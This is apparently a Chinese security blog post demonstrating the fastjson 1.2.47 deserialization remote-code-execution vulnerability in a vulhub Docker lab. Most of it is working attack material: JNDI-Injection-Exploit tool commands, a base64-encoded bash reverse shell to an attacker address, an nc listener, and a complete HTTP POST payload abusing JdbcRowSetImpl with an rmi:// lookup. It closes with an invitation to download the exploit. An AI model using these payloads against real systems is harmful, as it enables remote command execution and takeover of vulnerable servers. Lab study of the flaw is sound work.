本公众号所发布的文章及工具只限交流学习,本公众号不承担任何责任!如有侵权,请告知我们立即删除。
fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。
进入到vulbub靶场的/vulhub/fastjson/1.2.47-rce目录
使用命令:
docker-compose up -d #启动镜像,整个过程比较久,耐心等待环境搭建完毕,访问http://192.168.0.140:8090/,得到如下页面访问http://192.168.0.140:8090 抓包,修改数据包,就可以更新服务器端的信息
GET修改成POST,再添加
Content-Type:application/json{"name":"alsly","age":20}
1、利用工具自动开启RMI和LDAP服务以及发布Exploit类
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "要执行的命令" -A "vpsip"java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/access" -A "192.168.0.1"
2、构造数据包,发送payload
2、进入终端,查看文件是否生成(确认命令正常执行)
1)进入终端
docker psdocker exec -it 容器id bashdocker exec -it cdb842d6e03c bash
2)查看是否存在创建的文件,存在!
1)构造命令,反弹shell
bash -i >& /dev/tcp/192.168.0.128/6666 0>&1-> YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTI4LzY2NjYgMD4mMQ== #base64编码java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTI4LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.1"
2)开启监听
nc -lvvp 66663)构造数据包,发送payload
POST / HTTP/1.1Host: 192.168.0.140:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Content-Type:application/jsonAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Length: 266{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.0.1:1099/dab1pj","autoCommit":true}}
4)等待片刻,获得反弹shell
关注浪飒sec回复
221213获取exp下载地址